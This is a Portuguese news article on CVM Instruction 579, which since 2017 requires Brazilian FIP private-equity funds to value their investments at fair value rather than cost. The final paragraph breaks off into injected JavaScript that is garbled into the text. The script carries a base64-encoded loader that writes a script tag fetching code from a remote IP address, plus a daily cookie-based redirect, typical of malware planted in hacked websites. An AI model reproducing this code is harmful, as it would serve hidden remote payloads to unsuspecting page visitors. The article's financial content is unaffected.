FIPs serão avaliados por ‘valor justo’
Com a edição da nova Instrução CVM 579, da Comissão de Valores Mobiliários, foram criados requisitos específicos para a qualificação dos FIPs (Fundos de Investimentos em Participações) como os de private equity e grandes fundos de family office.
As mudanças impactaram diretamente nos critérios para mensuração dos ativos, com objetivo de trazer mais segurança e transparência aos processos e equiparar as práticas nacionais às internacionais. Além disso, as novidades consolidam e modernizam a legislação sobre o assunto.
A partir da nova instrução, o gestor poderá gerar as informações para mensuração do valor justo dos investimentos do FIP. Além disso, será necessário reconhecer os efeitos contábeis no período.
O critério de avaliação ficou mais moderno e eficaz. De acordo com o Comitê de Pronunciamentos Contábeis (CPC), o valor justo de um ativo é definido como o preço que seria recebido na venda de um ativo em uma transação ordenada entre participantes de mercado na data da mensuração.
Valendo desde 1º de janeiro de 2017, os FIPs precisam mensurar seus investimentos pelo critério de valor justo verificando o valor dos ativos e divulgando suas demonstrações financeiras anualmente.
Antes, o valor dos fundos era mensurado de acordo com o custo e não era necessário reavaliar o ativo periodicamente. Como resultado, o investidor destes fundos ficava sem saber se o montante investido havia se valorizado ou não, numa espécie de “ponto cego”, durante todo o período da aplicação.
Além de consolidar e modernizar a legislação, aproximando a normativa brasileira à pratica internacional, a atualização vai trazer maior transparência e segurança ao mercado de private equity nacional, equiparando-os às já consolidadas indústrias internacionais destes ativos.
Mais informações
Acesse a Instrução 579 na íntegra.
Com informações da Comissão de Valores Mobiliários: http://www.cvm.gov.br (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘